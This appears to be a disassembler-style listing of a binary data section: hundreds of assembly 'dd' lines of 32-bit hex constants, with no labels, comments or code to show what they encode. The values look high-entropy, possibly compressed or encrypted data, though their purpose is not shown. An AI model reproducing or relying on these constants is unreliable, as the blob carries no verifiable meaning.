		dd 7E92A6BEh, 669E9A26h, 70844ACh, 83754B35h, 0EA643A92h
		dd 0A6B7C14Eh, 83BBBF00h, 0FDC5352Dh, 0FD3AEB82h, 1E0144F2h
		dd 68769507h, 317E54DEh, 481C8B8h, 0FA072C6h, 3F444366h
		dd 0BAD33CA5h, 1CC00421h, 7FED8101h, 9E6DA6E5h,	0B2C99395h
		dd 128621F0h, 67A06819h, 273828E5h, 0F7D93104h,	81CCF9D3h
		dd 0CA875B59h, 0BCCB730h, 313F023Dh, 82A201D8h,	2D02EF58h
		dd 0B060833h, 6CEC555Eh, 6859C806h, 206F357Ch, 513412Bh
		dd 3C107D21h, 2A640C96h, 498F87Ch, 31413E73h, 1C41C3E8h
		dd 3285A4FDh, 0A7A3D64Ah, 4AA51462h, 0D2905531h, 0B9B94A90h
		dd 4C0F68C2h, 10DC7D7h,	0BF685DEBh, 7475C27Eh, 782C97Eh
		dd 726C0C96h, 6E7048F2h, 3B8B7BE1h, 3C3F2255h, 0A2B77367h
		dd 7F43E7C4h, 0BC2F9293h, 0DD510BECh, 0E1E6CCCEh, 0D59AFF95h
		dd 0CC177F61h, 5F2C2E9Ah, 0D002784Fh, 7722DA0Dh, 3988EDA7h
		dd 0AE89A6F9h, 0B6471843h, 27D14C55h, 0BD260C03h, 0E58340h
		dd 7F66BAB7h, 89976092h, 1FE8F6A6h, 0E91A8321h,	4701A6C7h
		dd 832B05EFh, 0B0435B4Ah, 7CDB1058h, 73E04E87h,	7B18459Ch
		dd 0D7C4DCA6h, 1428BABBh, 0C9115BD1h, 0DAF43B75h, 9354C8Bh
		dd 0F46BD387h, 3EC4FB38h, 0A1D41F83h, 0AA3B8407h, 0A6EA4252h
		dd 99E85FD2h, 3AD82DF4h, 0E9840EACh, 1696D4DCh,	678BAFFBh
		dd 0ADBD74Eh, 0D0BF8186h, 40498A46h, 3A347AD0h,	0B2A21350h
		dd 0A17C2D80h, 0C16F85DAh, 412BF5Eh, 0B8A6A4BBh, 0E7F22B4Ah
		dd 8060230h, 23B03C2Dh,	569D065Dh, 0B0563E16h, 26BEA96Fh
		dd 5DB72562h, 3005F807h, 1CF166Eh, 0C0BF5DB8h, 3F2D7681h
		dd 0C2AE44B6h, 0E97F041Fh, 0F71CB0CCh, 700DD4Ch, 486871D4h
		dd 0B3C0D785h, 4E36E907h, 9E99BC9Ch, 0D4445317h, 0FD815451h
		dd 0A6111275h, 0F6ED0529h, 14B8010h, 1CBBBE56h,	0F2550964h
		dd 12EE1F0Bh, 422774C1h, 0E1E48DB0h, 22EBB134h,	874FD9A9h
		dd 0D079C4FBh, 7406B930h, 444ED230h, 0B5143209h, 0AEB76870h
		dd 0E60EA5E5h, 78554101h, 862062B5h, 0F70A7A9Bh, 651203DAh
		dd 4E4FC795h, 0C55D271Ch, 276FA6CFh, 0F65D1362h, 0C968C161h
		dd 6097623h, 63134801h,	4A9440E8h, 0E30CC2A0h, 0F8D2F22Dh
		dd 8CC5970Bh, 0F208D597h, 0BE211684h, 0A0793F2Dh, 0B07D710h
		dd 0CD7FF768h, 11F92D6Fh, 87DE941h, 0BB87D462h,	12160E86h
		dd 0C22DBBF1h, 0A43EF86Fh, 25F5D1BBh, 0B4E00597h, 34549709h
		dd 30465718h, 9C2CF0E1h, 5F0C102Fh, 6704F8ADh, 0D4708D27h
		dd 0CB0712E4h, 0FB0117CCh, 71B20809h, 0F46805C7h, 18D9B629h
		dd 0C7C930A1h, 4EC81704h, 0EE00B1Bh, 8C28BDD1h,	0DAA8FE95h
		dd 2DA7C477h, 2C737721h, 964292BDh, 69049CA9h, 0BB1C2D05h
		dd 132A04F0h, 0E017771Bh, 309C7B2h, 7C0C5989h, 93A28D2h
		dd 7CC6B78h, 8A072D6h, 3FE15848h, 0C505B2E9h, 69EA55EDh
		dd 572EAD61h, 0A2E88262h, 19B46959h, 79B014AAh,	0F1F61D6Fh
		dd 19417EFAh, 0E5AE0965h, 0BFC0C404h, 0ED4A1CE8h, 0E6EBF430h
		dd 69E9851Bh, 9BBDC990h, 0A782639h, 11792F2Fh, 3F1E4602h
		dd 9D68D60Ch, 100A8B42h, 0F03842DAh, 2DAE5E31h,	288B6FCDh
		dd 630DE90Ah, 0E858957Fh, 0E4AB5B7Ch, 0C3F52651h, 0E204AC85h
		dd 8A174059h, 0B0599F5Ch, 831FF64Ah, 1B20B3E8h,	3854B8AEh
		dd 0BA5F160Ch, 5C525C3Ch, 423A9050h, 0E976FC02h, 1E99586h
		dd 0B1AADFDEh, 5B8D1FFEh, 5F6B1253h, 8FDDE597h,	34D668Fh
		dd 0E5D12D16h, 650A8D8h, 0DDB002EDh, 8338DA02h,	0D5311Ch
		dd 0CD2265E9h, 0E9BC5C6Eh, 0A022432Dh, 791E1551h, 1BFB0C21h
		dd 0B9E4B87h, 0D70E6227h, 7D9BF909h, 68308CFCh,	0E665BA2Dh
		dd 0CC880E74h, 0E2895251h, 0DD994155h, 0EB4F0E06h, 98CBEFC4h
		dd 1B2F0648h, 5A828D51h, 0DD631D68h, 0E9066ACFh, 0F1432056h
		dd 0A856AB2Fh, 0F0D64BECh, 87407287h, 77EC2D80h, 68178F50h
		dd 4CA3473Bh, 4250F927h, 0D0CFFE1Dh, 0EFB45043h, 49A2D628h
		dd 0B14A4116h, 8F2420DEh, 306256B9h, 64AC070Fh,	509EE0CFh
		dd 9C88FFBBh, 0E5211257h, 0CCB16B38h, 87CC8A7Bh, 75096689h
		dd 2158C959h, 9C7F9DF0h, 4D71B7EFh, 6D7C8484h, 0AB685601h
		dd 0BB336E28h, 523304FEh, 0B93007E9h, 22891435h, 0BAD71206h
		dd 2927A945h, 55E01F27h, 0B521768Fh, 5B058F5Ch,	0AD801511h
		dd 0A2010DF7h, 6789558Fh, 0E9855965h, 8FAB87F4h, 85284B5Ch
		dd 195D2968h, 0CB4025C5h, 6F126D05h, 60A05C47h,	0C39042Dh
		dd 0BC89BF92h, 191A786h, 0DC31254Bh, 5BCB5B20h,	97D59002h
		dd 0AE1F734Eh, 2796FE09h, 0F8307381h, 90F6A9DDh, 968BE694h
		dd 0CC7D6B49h, 0D56817ABh, 96086048h, 34FB754h,	8F91A0h
		dd 0BE593E45h, 681E1499h, 7E0B0AB0h, 8B4B217Ah,	625B2A00h
		dd 9A389509h, 186C778Ch, 0CD068A0Bh, 3BAC056Fh,	0BE2D7AE8h
		dd 295B6D52h, 68F7CAF8h, 9A8DFA27h, 37C701C4h, 63E93A6Eh
		dd 0D89D7B0Ah, 0B51FEC6Fh, 0FDA9A5FBh, 0CA81013Dh, 0F19E5CD4h
		dd 972C9D60h, 8E095A71h, 0C39D71E6h, 0CE99D5BEh, 0E45B6163h
		dd 6B00585Bh, 967FE0B9h, 0C2F13108h, 8F94E9C7h,	0CD831354h
		dd 0DB1E1C19h, 546B4614h, 0BA4B9A5Dh, 0FB48078Eh, 6E718004h
		dd 3AFC118h, 0EABA6045h, 158F5A18h, 0FE644290h,	20D79D2Dh
		dd 0D15305F2h, 8E91441h, 0BDE9648h, 162D7826h, 4A9F4289h
		dd 59046A50h, 895EF331h, 9CF79AC3h, 77B27AACh, 1FE7175h
		dd 0BF6BE568h, 200D6A7Eh, 0B86B0FE1h, 513096F3h, 2672BABBh
		dd 181B6Ah, 717C2A34h, 8A9CFDE9h, 3FA9DC27h, 4D73F307h
		dd 7F89CB51h, 5743C27Dh
		dd 67B0F8C0h, 56B0E5BAh, 65465995h, 5882F049h, 0E9780C94h
		dd 27E996F5h, 19F4F189h, 6058FE5Ah, 303574A5h, 244158BFh
		dd 49BC5CF8h, 822727FAh, 4B0559A4h, 3E2D3954h, 0CB5C5B24h
		dd 0DEE918B2h, 0CBBC9h,	81265F7Eh, 0DD1D0ACBh, 7854425Dh
		dd 0C70CA0Ah, 0C3409E09h, 7A56025Fh, 9AD95842h,	0C990B42Fh
		dd 8182ED38h, 954EEA4Fh, 0F5C05330h, 0B43C6FF8h, 685D6056h
		dd 5047520h, 8ADF97A7h,	12B4A2BEh, 0DA47879h, 17B513FBh
		dd 1314EDBEh, 2AC94186h, 8FD5631h, 4A688F7Ah, 45B833FFh
		dd 0EF84105Eh, 1ED383B2h, 0D024625Fh, 0F370D75Ah, 7AB43F74h
		dd 4A47E602h, 0E27D1BE4h, 318255BAh, 6A60A138h,	0B16BFF3h
		dd 0FBA0DD16h, 6FC1BC0Dh, 50FC800Bh, 0EFB0DD27h, 2EE120EAh
		dd 0C2B4B0E8h, 93DD32F6h, 0F860C248h, 2F84806Ch, 0C0A4F3h
		dd 2DDB7446h, 6803F20Dh, 2FF26958h, 42487199h, 0B6904059h
		dd 3909608Fh, 0B1C5897Eh, 0BC704DEAh, 0FE481318h, 31F0BB55h
		dd 68160CF2h, 510C1942h, 476C3917h, 89E0C712h, 3AE8B004h
		dd 5A722CE8h, 3A39FF45h, 0DD594742h, 149DE196h,	4A789D33h
		dd 84107F97h, 0F1957F8Dh, 4C76092Ch, 8082A654h,	603091C1h
		dd 1FB35317h, 38D828E8h, 96FC329h, 377EB80h, 0C9FEE128h
		dd 0E9F4B252h, 0F77DC229h, 5EC096D6h, 5F250763h, 4058D43Dh
		dd 646A5AD1h, 45E4415Eh, 7739163Eh, 49CBE014h, 8F9C7C2Dh
		dd 608A0B14h, 61C28076h, 81306E7h, 645F3ED4h, 5E7161E7h
		dd 0CFC1C06Eh, 56582368h, 92855F71h, 0C17430AFh, 95095E98h
		dd 57D9016Fh, 0E917C7E5h, 0BD7680AEh, 835B1B50h, 59AE5880h
		dd 847D4ED9h, 0ED8EA099h, 0DA3426F6h, 0BF0F1646h, 267E0F5h
		dd 0BE6DE95Dh, 18581C5Eh, 0CB0DCCEAh, 0B481FD82h, 6A6C8108h
		dd 5825E0A3h, 475858ECh, 314B15DBh, 7BCC13FAh, 384F61FAh
		dd 0DACC3A7Ch, 0E6A05420h, 3B2DE4ADh, 5095967h,	0D5093F9Bh
		dd 6E5016A7h, 7B592B99h, 78A1F6F8h, 0D9E4525Dh,	51CBA683h
		dd 5CBBB40h, 0A018E20Bh, 8F085F02h, 0A52A3107h,	0E4BB0078h
		dd 858D513Bh, 810505D9h, 81F424E0h, 0D54DB920h,	0D528C353h
		dd 31C8FB4Bh, 9D926968h, 14E39184h, 57EC010Eh, 0CF09F749h
		dd 891A8F01h, 491D0A7h,	2A940631h, 33239F80h, 0CF212982h
		dd 0A53A1F8Fh, 22CADEFBh, 0CC6409BBh, 74070234h, 0DEE557Bh
		dd 3F1CBA31h, 0EC2BA3E9h, 4EA65EB8h, 18599918h,	0F79D9BB6h
		dd 0C5224587h, 4B85FC10h, 0BCF4E09Dh, 4D9EDD56h, 600A38E5h
		dd 60694307h, 5A805561h, 2F1253D6h, 138D6816h, 3A8A1061h
		dd 96C7CF9h, 6FB50500h,	0DE2D0188h, 0D55A0CF0h,	0DA56EF1Eh
		dd 0FD109423h, 4A1006E3h, 715B27EFh, 0B39D18BAh, 0C7B55A54h
		dd 5E989EBh, 525E6E22h,	68F5107Dh, 173D5902h, 97408284h
		dd 7F4CE251h, 0FB5A895Dh, 65E91F32h, 0F6554BE2h, 1BF1C1D0h
		dd 12882EB1h, 0AA5625E9h, 53AC8F5h, 0EA2AE658h,	24C67F89h
		dd 401F6C85h, 54C81966h, 20C9DEB7h, 0A1585F08h,	5751248Ch
		dd 96F6BF3Bh, 160843ABh, 0A4C62D53h, 0D0AA15F6h, 0BF1AE67Dh
		dd 98357D07h, 6261043Ah, 0AEEC41B8h, 3EBD5500h,	0BA1C5D3Bh
		dd 6C9DF917h, 0BEA652EFh, 8502B013h, 5F865FE4h,	0BC0306C0h
		dd 0E9B95506h, 4BC59B2Ch, 8610AEC5h, 8F10DC80h,	0BF31E5Fh
		dd 16CB11AAh, 565C242Dh, 8CE9787Ch, 5109C394h, 0C9A25C68h
		dd 0AD43DC76h, 0E20DA24Ah, 75A20570h, 5EAFA825h, 4D9BC92Ah
		dd 802FF072h, 27E4144Eh, 1D6EF77Dh, 507E6817h, 78EA89Dh
		dd 5637DBE9h, 7F00C25Ah, 5602EFF0h, 0F11211BEh,	0F389C077h
		dd 0C84227F7h, 0D3EE0BE8h, 71870A01h, 0D9E9D601h, 3894166Fh
		dd 2816454Ch, 30EC5E75h, 31F3C60h, 0DEB06B42h, 0A205CE6h
		dd 823BFF5Bh, 737C81E6h, 0F8ECB009h, 90B54B2Dh,	2549F730h
		dd 0F71E6028h, 895D3239h, 4275E94Fh, 0E5255446h, 0FE109567h
		dd 2A5A454Bh, 0D12F88C4h, 0D1E95019h, 1674052h,	3AB07125h
		dd 8765F009h, 32210525h, 0F67F638Bh, 5D9D44FDh,	0BB036FCBh
		dd 3B91F10h, 0ADEAA0D1h, 97A5614h, 41DDACCCh, 7D3C6DC8h
		dd 0E1C0C15Bh, 6E457FE5h, 6C766D9h, 0C7E60E8Eh,	440C058h
		dd 0F280DEF6h, 3C06CEC1h, 7082EEC9h, 0B202BA5Fh, 15E9C15Ch
		dd 1CD770EBh, 4B5AD328h, 3E87372Ch, 57A94904h, 4CA32F85h
		dd 4B260180h, 76EBC125h, 2A260040h, 0DD09A962h,	166CC580h
		dd 0FC29C711h, 0FED42627h, 782D5A96h, 4B460F3Eh, 22315166h
		dd 5907F250h, 3E7EE7A2h, 248F74A5h, 74E40283h, 0CA571549h
		dd 0E90802CBh, 0F6A1A9A6h, 61AE0828h, 0DD5BB00Bh, 2408C8A3h
		dd 0E92C04B0h, 0D335EA31h, 0E48959CAh, 0B0940EBDh, 57EDE1BDh
		dd 0F065DC3Ah, 0A12E5C41h, 0FC346FA4h, 0C7F3A0ABh, 656A3A0Bh
		dd 5C28DF6Eh, 91A22508h, 905C675Fh, 0D650A782h,	60F5416Ah
		dd 6FACBF04h, 0B1A91AD2h, 0F8D24EF4h, 883CC5C5h, 5D67FA39h
		dd 29AF55E4h, 6A2AF199h, 194CC554h, 210E14EBh, 74975DD5h
		dd 0C8ABF40h, 0E82DAC13h, 361AC5F8h, 910831BEh,	0C2AD971Fh
		dd 0C9665EFEh, 5955848Dh, 20E7C803h, 213613F8h,	0B63C044Dh
		dd 8928BCA9h, 524FF552h, 0E1815427h, 3513E95Ah,	29E0DA12h
		dd 7995D3DDh, 0B2680565h, 47E49818h, 3CDB7E12h,	0BBDC40EAh
		dd 35658B23h, 0FFE9509h, 436B8920h, 4C8805Ch, 2005B05Fh
		dd 59A29B60h, 0DFFADB61h, 84CBFFC5h, 1C9CE82Ah,	25725F68h
		dd 58CACE7Fh, 0EB25E353h, 0A2B83360h, 0B0C1506h, 0FE0B86B9h
		dd 63AC611Dh, 0F1663668h, 764B302Dh, 0EA1D11B2h, 16D41CD6h
		dd 599402A9h, 4031CB24h, 90D529A1h, 895663CAh, 0BA844D69h
		dd 0EEF4E0FCh, 2951E88Fh, 4BA132Bh, 12882CD7h, 0D7022BC2h
		dd 0B7900364h, 64301145h, 0F15444BCh, 6B1B9E0Eh, 0C02DF6Ch
		dd 0D4759753h, 82D20217h, 0CE4A61C6h, 7D999A55h, 87449219h
		dd 0D18742F3h, 5E64BE82h, 894A53B0h, 0AE1218E6h, 0A8B3AE75h
		dd 4F8AA717h, 3F31E69Ch, 5F54273Ch, 0EB40206Ah,	0D048F706h
		dd 0D6CF2F4Fh, 4F406224h, 0AE6C22DFh, 0D6D1DD69h, 94010313h
		dd 144E587Fh, 532A093Eh, 0F158FF51h, 1897C03Bh,	5B07E715h
		dd 4889BF04h, 17BA815Ch, 0E5C49Bh, 0EA32FB9Bh, 0C1480178h
		dd 2361D3Fh, 0CA9F1D9Fh, 82111BC9h, 9EDE030h, 76A14158h
		dd 0C742FE08h, 5BA21C75h, 1681A650h, 0CEFAA065h, 0D4A51072h
		dd 0A967BA5Fh, 983AABD7h, 0A4555E6Bh, 2B6C0BD4h, 5D23BA55h
		dd 0D0958C66h, 13FB0B3h, 2597091Eh, 2AC538E9h, 597E4BCEh
		dd 5E27FBF6h, 642C2F5Dh, 0D2943F64h, 33FB78FFh,	82A54182h
		dd 4862B1AFh, 0C857EA42h, 4F460FEFh, 455BAE9Bh,	0A3180608h
		dd 28169235h, 5B68501Fh, 58FD6F04h, 645868EDh, 24D2270Bh
		dd 0C114315Eh, 2FBF5F08h, 0AE5750DBh, 0EE31024Ah, 727F3CEDh
		dd 2C711AE3h, 58F05C95h, 8836091Bh, 533E5CF3h, 5B66DAD8h
		dd 774C6095h, 577430E9h, 2F25BF58h, 4A35E72Ch, 2A56933Ah
		dd 4D426804h, 0E81083E3h, 9CE04FFCh, 5A6FE0C3h,	0B7E68136h
		dd 0A4FC2C71h, 4E17CBFBh, 0E5B3686h, 53339BBEh,	82F00124h
		dd 3B5A69BCh, 27050702h, 0DECD8CB1h, 95A32240h,	86DF9C7Fh
		dd 9ECBF43Dh, 57E9C1E2h, 5FC19DF4h, 0FE2C25CBh,	2D7350A5h
		dd 0B8B310BFh, 1C7D99B4h, 4338C365h, 4E12E3C1h,	0F2AAC876h
		dd 902D79BCh, 0C245F12Eh, 46559C82h, 47B420CAh,	0D3AA0504h
		dd 3FD555A7h, 2E01680h
		dd 945A503Fh, 0C9264F90h, 714890D4h, 0FE4B2748h, 11ABE218h
		dd 0F5808163h, 48CACF15h, 42CA3162h, 203BA25Bh,	207F901Ah
		dd 82B14164h, 0D4803BBDh, 0A2AAF182h, 282C4DDFh, 6334F7F1h
		dd 0F11E65ECh, 0AC67D022h, 0D90EB151h, 6516F180h, 0A0EC10C9h
		dd 0BD7A407Ch, 60B83B5Fh, 2EE3B15Eh, 0A5B50BECh, 0E1B16BA1h
		dd 4037EE2Ah, 0EDEAF8A4h, 0BE5F0209h, 78319818h, 26B82066h
		dd 150DBB07h, 23A23AA9h, 23344A5h, 538C2D03h, 0EF74E3B9h
		dd 575AF332h, 0D75A9A56h, 4550D159h, 2C85BE9h, 2825689Eh
		dd 0D31344ECh, 8E059102h, 76FD45DAh, 3B7A2106h,	0C31C0C03h
		dd 0F78BDF1Ah, 83615CD7h, 2AC07501h, 31C0EFB3h,	22B7C29Ah
		dd 0EEE781Ch, 0AA387744h, 0AB4A5BA3h, 8594DB17h, 0B7BBAE13h
		dd 0E9510B0Eh, 0F492295Ah, 0EDF408E9h, 7BA350Bh, 0EFA434D2h
		dd 0ACEF8E94h, 303AC4E0h, 61B023D7h, 5C292792h,	8025A6F7h
		dd 188E8D9h, 0E3E96107h, 0ED580322h, 3460D645h,	0EE35C4A6h
		dd 3D68E425h, 83C083D2h, 0B0144911h, 50824018h,	0BFB25212h
		dd 801220EFh, 681631ECh, 0BDAD06F7h, 37C9578Eh,	4EF77429h
		dd 9615FC4Dh, 105027E2h, 6EB2D595h, 18CB7D56h, 4EE6E963h
		dd 62373D60h, 0E0F12F39h, 9F4F34C1h, 104C360h, 53D0F602h
		dd 0C02C09B7h, 0B52F94AAh, 0D425B1B8h, 2BE43A00h, 3140052Dh
		dd 9479C15h, 9FE64EE9h,	0B9D6818h, 82FCD8F5h, 527F27C4h
		dd 8331005h, 0A5AC5A30h, 0C87BFB7h, 0E8EBE574h,	0D0EA97B4h
		dd 0A9BBE9F8h, 691C209Fh, 7268AAC8h, 854B556h, 180C5E16h
		dd 16C2C364h, 0C20579A8h, 2904315Bh, 0D7D7B8AFh, 5B2DE9E9h
		dd 0E9274BC6h, 0BD728083h, 0B7ED4F3Fh, 0A0976AF2h, 0D24A91A4h
		dd 20A9040h, 12E7861h, 505C69E9h, 10D52D02h, 6EB84007h
		dd 986880CFh, 499A214Eh, 0CF715A2Eh, 4D8CEAC0h,	13429D1h
		dd 809CEFAh, 0A3E6575Fh, 0A7D0731h, 88DC555Bh, 88D0B641h
		dd 2914FB3Fh, 24597EC1h, 79502F98h, 0CF42825h, 3A264135h
		dd 19B54AC2h, 7CF4DCA1h, 0CD81036Ah, 6E21743Fh,	44A1EDB0h
		dd 42070D2Dh, 0A47955E4h, 0D5F7F232h, 335A10C6h, 6662C1C5h
		dd 78B47C56h, 99C91762h, 86DD81C1h, 123E5E6Bh, 0A8215746h
		dd 46EAB46Ch, 0FF520857h, 2DAD97A0h, 0C1497E0Fh, 20F5BCE1h
		dd 1FBE9980h, 5AD390A1h, 0DB2CC8CAh, 3DB39A4Fh,	48F5F310h
		dd 13F84E87h, 0BB011549h, 6E6A61ACh, 81562243h,	0D151799h
		dd 0E7C2B46Ah, 9EAAB512h, 0B3EED184h, 0F50193F3h, 5E591B37h
		dd 6441BC2Ah, 0F300E3B0h, 0A1A6E404h, 0D2B7C498h, 95D6817Eh
		dd 6E04F969h, 0F023977Bh, 2E015F71h, 0E929AA22h, 0A82E895Dh
		dd 2565D4F3h, 0AD685F06h, 82242EB6h, 22026C0Dh,	4165EF30h
		dd 0DFC68011h, 53639122h, 0B9ACC377h, 992F3C8Bh, 0E5D1F42Bh
		dd 52FE4DFAh, 681F5778h, 0DC272A80h, 42E7014Ah,	2F18E96Ah
		dd 25E66812h, 45FB6809h, 8540DBB1h, 9BBDE959h, 0FEA431FEh
		dd 2011D961h, 0FCBDA5E9h, 6687851h, 9B457D64h, 0B54DCAE0h
		dd 0EB4B824Ch, 6800C785h, 0B262AB93h, 0BFF8201h, 6C10D7BBh
		dd 53C46B8h, 4AB91A8Eh,	680FE00Bh, 306F4E3Ah, 0E71D8BBh
		dd 9607948h, 2041C4Dh, 0B7841C5h, 0FE184D03h, 3EE180F1h
		dd 1610108h, 3193A3BEh,	5FA32CE7h, 0FCE481B8h, 896E5112h
		dd 4A11884Eh, 4180F938h, 355FDEE9h, 7F51D139h, 0E8926CFDh
		dd 6AB1B281h, 0CD7955DBh, 572F62Dh, 85D0B02Fh, 1EF94FCh
		dd 0F1B5DFA6h, 116E3008h, 4C00E69Bh, 296CBF75h,	66599FDFh
		dd 20D45E69h, 79F29513h, 67FE669h, 982FA0EAh, 0AC5DD64Ah
		dd 0F5492E78h, 5F2F4F1Ch, 8F739394h, 27A4E7B7h,	0AB70AD5Ch
		dd 6CB03E07h, 5AC1EE02h, 48FD2F0Eh, 95312AAh, 0F329C25Eh
		dd 10BDA684h, 0BB1710E7h, 6E8EA14Eh, 0AF4A74B8h, 5C891D8Ah
		dd 0CD2D83B0h, 48690702h, 8105F801h, 4FD3E907h,	1F2B7C25h
		dd 7531074h, 0F75BDF09h, 3D18BE3Ch, 81016040h, 840AA5F6h
		dd 0D626077Bh, 0C84E6104h, 88659BA4h, 2DAB4F46h, 0A758B08Bh
		dd 5CDCCA07h, 696F1F0Dh, 7817828Dh, 9B655509h, 21049A4h
		dd 0DDFFF805h, 6091AE7Fh, 4736CE4h, 18F5532Fh, 81AA4E5Eh
		dd 45B23E59h, 0EC04DE9Fh, 0F2B0824Bh, 0E3C1C0FEh, 803281D0h
		dd 0FD208AF7h, 0AA465BE8h, 7A7380C1h, 1549463h,	0B6E1B850h
		dd 0F131CF22h, 6FC2A858h, 7F39ED06h, 245D8Eh, 272438D2h
		dd 0B657962Dh, 43E9690Ch, 0B2552E8h, 36101C58h,	35046C80h
		dd 98252234h, 903FD815h, 1E9F048Dh, 0AF2178BDh,	3268FF42h
		dd 7303F470h, 956791CDh, 0E1E45270h, 2A8C2E1h, 0E9E38F01h
		dd 0B72CE038h, 0FE082503h, 18EB14DFh, 457C63E9h, 9AF0590Bh
		dd 0EDA3A795h, 30076761h, 2FC465h, 5BF50D37h, 53F1595h
		dd 54D40445h, 9B152E9h,	567C816Eh, 0D81D7E75h, 0DF83853h
		dd 5F2CE35Fh, 4A6890A4h, 0FFF8C578h, 1393C6E2h,	4CE0B3D0h
		dd 36BE131Bh, 304C64B9h, 319A0173h, 0D329D255h,	595D965Ah
		dd 4FD4D9A4h, 57FE23C4h, 4F6A8CAh, 66A12C00h, 5A1E685Ah
		dd 0E91F3110h, 4B7682Fh, 9C685E54h, 2BCAD8FBh, 0A122A16h
		dd 627C10Ah, 0C6ABC612h, 772C0CDDh, 0F4271344h,	7F0A0868h
		dd 0D558BD01h, 0FF3A645Eh, 0A6AB6325h, 2DE9C22Fh, 0EE235FB5h
		dd 23031D69h, 43D5EDF1h, 4AB8DA99h, 5346DE81h, 92E135F1h
		dd 0C4FB681Ch, 0BFF313D6h, 9DBE3BC5h, 0B556007h, 3B20B15Eh
		dd 451AEBEh, 0EEC125B7h, 84BE8005h, 0D0B88326h,	0C5E9CE09h
		dd 0EBF3AE09h, 1879FCD1h, 770175E4h, 0D68CCC9Ch, 1D2D1633h
		dd 257C0221h, 7208ED6h,	665BA0B0h, 4C4A8890h, 0C82E530h
		dd 3911221Dh, 5B093860h, 932B8D24h, 288DF6A7h, 251977C1h
		dd 1EA25845h, 4029E098h, 9D90EBBCh, 6025E020h, 0CAF777CAh
		dd 55BAEA0h, 95744A73h,	30342CFh, 0E8B31DD7h, 20EBA0Dh
		dd 0D0F73345h, 0EC77FE68h, 0FF930972h, 0FB55DA21h, 94F28E4h
		dd 49B802BAh, 5039477Ch, 0C64BE908h, 0DD80990Eh, 80E1C009h
		dd 0D0E4B3C3h, 0F3E3F6EBh, 96B8EF5h, 89D7BA3Fh,	7405756Ah
		dd 646497C6h, 0FB5594F4h, 3CFA0E16h, 7E4EE97Dh,	843565C2h
		dd 0CB8180E1h, 0F522BEDAh, 4284413Ch, 0AFA86848h, 54E4C2D7h
		dd 0BCA60213h, 0F9E1403Bh, 2A76C66h, 874FEFD1h,	4C0AC3F7h
		dd 0D75EF008h, 823237A8h, 0BA902896h, 0D6097360h, 0F5012D24h
		dd 0F1B19E30h, 194BBF80h, 66796A11h, 167DBBDBh,	0C7E3C80Ch
		dd 21775727h, 65EC68E1h, 0E4A9B18Bh, 5C84B9DDh,	58A537BFh
		dd 0C147B800h, 505A06EFh, 1318EFF0h, 0B4594C2Dh, 0B913E731h
		dd 20BFC6B3h, 6601F838h, 0C729141Eh, 58085039h,	79371EC5h
		dd 6C670DFBh, 0DBFC7BA9h, 0AB681373h, 0B21AF2Fh, 0B90035E3h
		dd 0A7D7F88h, 0CA69BFF4h, 3C6C7E36h, 0A74CA016h, 7DBB2792h
		dd 0DA2D3D00h, 3A0A1F35h, 705D829h, 6889ED24h, 0C7597D0Eh
		dd 7FEC2189h, 4D962DC4h, 7A8BF7A5h, 4AE94148h, 11683BCBh
		dd 0FD3B5A0Eh, 0F7E98274h, 6254FC4Eh, 49F15BADh, 5CC3B1C9h
		dd 0B51EB93Eh, 0CB7B3BBh, 6EC56554h, 4D0B95F9h,	0E00641F7h
		dd 88A6E0EFh, 66582CC6h, 30D20EEAh, 0D003BCFDh,	7EE680EEh
		dd 7891063Bh, 0B0FE7D79h, 65F13029h, 0DC8243Ch,	0AC10342h
		dd 18DF02D8h, 0D8D14F25h, 52E7A84Ah, 0C5DE25D8h, 9FEC062h
		dd 30E398FFh, 285B09DEh, 0FA575AF0h, 570DA071h,	1258673h
		dd 1E9CF927h, 44B64953h
		dd 7374F590h, 78E48D27h, 122BB445h, 169E94Eh, 86856E33h
		dd 0D83EF021h, 0E825C145h, 4C657D0Ch, 263AF7ADh, 6A9E825Dh
		dd 0BD5503C0h, 225EF0EFh, 74E6E581h, 57619A2Eh,	0B2291900h
		dd 4EE92133h, 82A4F15Dh, 0A4644A8h, 0BF20D022h,	68876945h
		dd 0F5091373h, 0E9621171h, 2623F0CBh, 33C565Dh,	7A76539Ah
		dd 3FB32AE9h, 5F2EF132h, 64C19408h, 2456AB05h, 0E1D0BDC1h
		dd 4BC8B800h, 506DBE05h, 19A1585Fh, 0AF89253Fh,	3EE90347h
		dd 0FF93ABD9h, 36D3B789h, 52EF9413h, 441203FCh,	0F8057039h
		dd 610D2CDCh, 0B85750C5h, 4E0962EAh, 500FC54h, 3E9B6C8Bh
		dd 7DF6002Dh, 0D73531A5h, 700CF414h, 814A43E9h,	7D84173Eh
		dd 0F546EB10h, 0B0E4532Ah, 0C17720ECh, 51595A0Eh, 89800BB5h
		dd 3FA504D6h, 72DE9C8h,	166BE34h, 8548EC5h, 0EA30064Ch
		dd 396FF127h, 680C0F04h, 0CEF35D17h, 29A0924Eh,	772F3D7Eh
		dd 0CDE9DE10h, 5E1623BEh, 83A47FECh, 359C34DAh,	0A4C5A384h
		dd 8113A5B4h, 7A2A8857h, 0C258346Eh, 0C1D73414h, 0AA964877h
		dd 99F0A99Ch, 886B5C3Eh, 0D9E0DA0Bh, 2DF18080h,	63DB2817h
		dd 574CFF28h, 2CF00914h, 0FBAC7AEBh, 0D114E3D2h, 58C908C6h
		dd 0D32CAF2Bh, 0F0DE8398h, 1677221Eh, 0E5C4B7D3h, 99EB9512h
		dd 4767FCFDh, 9B0FF6BAh, 4B2A5830h, 815C602Bh, 317218CAh
		dd 6205DEA4h, 0C1A87995h, 6F144B68h, 0ED802634h, 953DF639h
		dd 0D0E25500h, 72BDE475h, 0AF3E5534h, 582FE66Eh, 0C1E210BBh
		dd 4ECF6809h, 5D4B1455h, 454C8C5Fh, 0C580807Bh,	0DF20937Dh
		dd 0E1E5A04Bh, 41661F3Ch, 0FD31170Dh, 61C502CCh, 55DC1164h
		dd 0C7E1A2C8h, 0D09C562Fh, 76F6A1F2h, 0E67F5C31h, 50644997h
		dd 2E17E5F0h, 0ECFC32FEh, 7510BF4Fh, 7408500Bh,	53070E79h
		dd 0DB1C302Dh, 0F389E9A1h, 6DC3CD6Eh, 0BF407755h, 0CB45EC5Fh
		dd 9655570Dh, 68500188h, 490E02F1h, 81403B58h, 2DCF3503h
		dd 0E94C1296h, 5AE6422Fh, 7A5F9068h, 74095FB7h,	40B4C48Fh
		dd 1F1EB99Eh, 2590342Ch, 0EE3C560Bh, 60F9D407h,	165FC4CFh
		dd 324E157Bh, 84BE3B84h, 0D25FF861h, 0CA881DB5h, 411223F3h
